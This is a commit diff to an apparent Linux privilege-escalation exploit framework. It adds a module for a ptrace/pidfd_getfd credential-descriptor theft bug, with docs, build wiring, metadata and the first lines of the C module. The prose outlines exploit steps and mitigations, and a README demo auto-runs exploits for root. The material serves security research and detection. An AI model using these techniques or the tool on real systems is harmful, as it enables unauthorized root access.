modules: add ptrace_pidfd (CVE-2026-46333, Qualys ptrace/pidfd_getfd cred-steal)
New module for Qualys's 2026-05-20 disclosure: a __ptrace_may_access logic flaw leaves a process dropping privileges briefly reachable past its dumpable boundary; pidfd_getfd(2) steals root-opened fds / authenticated channels from it. Default-distro, no userns, arch-agnostic (fd-steal, no shellcode). detect(): version-pinned, predates-gate at pidfd_getfd's 5.6 introduction; kernel_range from Debian backports (5.10.251/6.1.172/6.12.88/7.0.7), drift-check clean. exploit(): spawns a setuid victim, pidfd_open()s it, sweeps pidfd_getfd() over its fd table during the cred-drop window, reports any uid-0-owned fd captured from a non-root context. Honest EXPLOIT_FAIL without a euid-0 witness; not yet VM-verified. mitigate(): yama ptrace_scope=2; cleanup() reverts. auditd/sigma/falco rules, NOTICE.md (Qualys TRU credit) + MODULE.md, safety rank 84. Wiring: registry, Makefile, cve_metadata (+JSON source), verify-vm/targets.yaml (ubuntu2204 + mainline 5.15.5 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 39->40 modules / 34->35 CVEs; added to not-yet-verified lists + corpus pill.
This commit is contained in:
@@ -23,16 +23,16 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs
|
||||
**Counts:** 40 modules total covering 35 CVEs; **28 of 35 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are
|
||||
> blocked by their target environment (VMware-only, kernel < 4.4,
|
||||
> mainline panic, kmod not autoloaded, or t64-transition libs),
|
||||
> not by missing code. See
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||
> `ptrace_pidfd` are blocked by their target environment (VMware-only,
|
||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||
> libs) or are brand-new this cycle, not by missing code. See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
@@ -93,6 +93,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
@@ -131,6 +132,7 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
|
||||
@@ -222,6 +222,11 @@ PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -234,7 +239,8 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS)
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026.
|
||||
> **One curated binary. 40 Linux LPE modules covering 35 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
@@ -44,11 +44,12 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 34 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are
|
||||
**40 modules covering 35 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 35 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 7 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout), not by missing code.
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
VM sweep, not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
@@ -66,7 +67,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (28 of 34 CVEs)
|
||||
### Empirical verification (28 of 35 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
@@ -79,15 +80,16 @@ each verdict against a known-target VM. Coverage:
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
|
||||
**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
**Not yet verified (7):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet). All six are flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
|
||||
rationale.
|
||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending). All seven
|
||||
are flagged in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml)
|
||||
with rationale.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
@@ -133,7 +135,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 39 modules for vulnerabilities...
|
||||
[*] auto: scanning 40 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
@@ -202,8 +204,10 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.9.7 cut 2026-06-01.** 39 modules across 34 CVEs — **every
|
||||
year 2016 → 2026 now covered**. v0.9.0 added 5 gap-fillers
|
||||
**v0.9.7 cut 2026-06-01.** 40 modules across 35 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333,
|
||||
Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
@@ -238,7 +242,7 @@ Reliability + accuracy work in v0.7.x:
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only),
|
||||
Not yet verified (7 of 35 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
|
||||
@@ -284,6 +284,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
|
||||
@@ -55,6 +55,7 @@ void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
|
||||
@@ -51,4 +51,5 @@ void skeletonkey_register_all_modules(void)
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
}
|
||||
|
||||
@@ -304,5 +304,14 @@
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
|
||||
+10
-9
@@ -4,9 +4,9 @@
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta name="description" content="One binary. 40 Linux privilege-escalation modules from 2016 to 2026. 28 of 35 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:description" content="40 Linux LPE modules; 28 of 35 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
@@ -62,7 +62,7 @@
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs —
|
||||
One binary. <strong>40 Linux LPE modules</strong> covering 35 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
@@ -81,7 +81,7 @@
|
||||
</div>
|
||||
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="40">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
12 of 34 CVEs in the corpus are in CISA's Known Exploited
|
||||
12 of 35 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
@@ -294,7 +294,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 34 CVEs</strong> confirmed against
|
||||
verdict. <strong>28 of 35 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>34 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
<h2>35 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
@@ -354,6 +354,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
@@ -414,7 +415,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
34 CVEs, 10-year span, each with the original PoC author
|
||||
35 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
@@ -511,7 +512,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 34 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>28 of 35 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
# ptrace_pidfd — CVE-2026-46333
|
||||
|
||||
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
|
||||
`pidfd_getfd(2)`.
|
||||
|
||||
## The bug
|
||||
|
||||
When a privileged process drops its credentials, the kernel resets its
|
||||
`dumpable` flag so that lower-privileged processes can no longer attach
|
||||
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
|
||||
is a narrow window during the credential drop in which the process is
|
||||
*still reachable* through ptrace-family access checks even though its
|
||||
`dumpable` state should already have closed that path.
|
||||
|
||||
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
|
||||
before duplicating a descriptor out of the target process. During the
|
||||
stale window that check wrongly succeeds, so an unprivileged process can
|
||||
pull descriptors — a root-opened credential file, or an authenticated
|
||||
D-Bus / socket channel — out of a transiently-privileged process and
|
||||
re-use them under its own uid.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
|
||||
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
|
||||
| Fixed upstream | mainline, 2026-05-14 |
|
||||
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
|
||||
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
|
||||
the real primitive and confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
|
||||
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
|
||||
probe — the empirical confirmation lives in the exploit path, which
|
||||
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
|
||||
table, reporting any uid-0-owned descriptor captured from a non-root
|
||||
context.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
|
||||
(or `3`) closes the `pidfd_getfd` path because it gates the same
|
||||
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
|
||||
`--cleanup` reverts it.
|
||||
|
||||
## Credit
|
||||
|
||||
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
|
||||
@@ -0,0 +1,51 @@
|
||||
# NOTICE — ptrace_pidfd (CVE-2026-46333)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46333** — a logic flaw in the Linux kernel's
|
||||
`__ptrace_may_access()` path leaves a privileged process that is
|
||||
*dropping* its credentials briefly reachable through ptrace-family
|
||||
operations, even though its `dumpable` flag should already have closed
|
||||
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
|
||||
capture open file descriptors and authenticated IPC channels from a
|
||||
dying privileged process and re-use them under their own uid → local
|
||||
root and credential disclosure.
|
||||
|
||||
The underlying flaw has resided in mainline since **v4.10-rc1**
|
||||
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
|
||||
**v5.6** (January 2020). Affects default installations of Debian 13,
|
||||
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-05-20. The four proof-of-concept exploits demonstrated
|
||||
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
|
||||
`accounts-daemon`.
|
||||
|
||||
- Qualys advisory:
|
||||
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
|
||||
- Upstream fix: mainline, committed 2026-05-14.
|
||||
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
|
||||
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to
|
||||
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` is version-pinned against the Debian backport thresholds
|
||||
above (kernels < 5.6 are reported OK, lacking the bundled vector).
|
||||
`exploit()` fires the real primitive: it spawns a setuid victim,
|
||||
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
|
||||
table during the credential-drop window, recording whether a root-owned
|
||||
descriptor is actually captured from a non-root context. It returns
|
||||
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
|
||||
fd-weaponization that lands a root shell is **not** bundled until it can
|
||||
be verified end-to-end against a real vulnerable VM, in keeping with the
|
||||
project's no-fabrication rule.
|
||||
|
||||
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
|
||||
rides); `--cleanup` restores it. Architecture-agnostic — the technique
|
||||
steals descriptors rather than injecting shellcode.
|
||||
@@ -0,0 +1,458 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
|
||||
* path leaves a privileged process that is *dropping* its credentials
|
||||
* briefly reachable through ptrace-family operations even though its
|
||||
* `dumpable` flag should already have closed that path. Paired with the
|
||||
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
|
||||
* file descriptors and authenticated IPC channels from a dying
|
||||
* privileged process and re-use them under their own uid → local root
|
||||
* and credential disclosure. Disclosed by Qualys (2026-05-20).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* detect() is version-pinned (Debian-tracked backports below). exploit()
|
||||
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
|
||||
* sweep pidfd_getfd() across its descriptor table during the cred-drop
|
||||
* window — and records whether a root-owned fd was actually captured.
|
||||
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
|
||||
* root it did not get (the full target-specific fd-weaponization chain,
|
||||
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
|
||||
* not bundled until it can be VM-verified end-to-end).
|
||||
*
|
||||
* Affected range:
|
||||
* The __ptrace_may_access logic flaw has been in mainline since
|
||||
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
|
||||
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
|
||||
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
|
||||
* Debian-tracked stable backports:
|
||||
* 5.10.x : K >= 5.10.251 (bullseye)
|
||||
* 6.1.x : K >= 6.1.172 (bookworm)
|
||||
* 6.12.x : K >= 6.12.88 (trixie)
|
||||
* 7.0.x : K >= 7.0.7 (forky / sid)
|
||||
*
|
||||
* No exotic preconditions: needs only a local unprivileged user and a
|
||||
* setuid-root binary or transiently-privileged daemon to victimise. Does
|
||||
* not need user namespaces. Architecture-agnostic — the technique steals
|
||||
* descriptors rather than injecting shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
|
||||
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
|
||||
* x86_64 / arm64 / most arches) when building against older headers so
|
||||
* the module still compiles on an old toolchain. */
|
||||
#ifndef SYS_pidfd_open
|
||||
#define SYS_pidfd_open 434
|
||||
#endif
|
||||
#ifndef SYS_pidfd_getfd
|
||||
#define SYS_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
static int sk_pidfd_open(pid_t pid, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_open, pid, flags);
|
||||
}
|
||||
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
|
||||
}
|
||||
|
||||
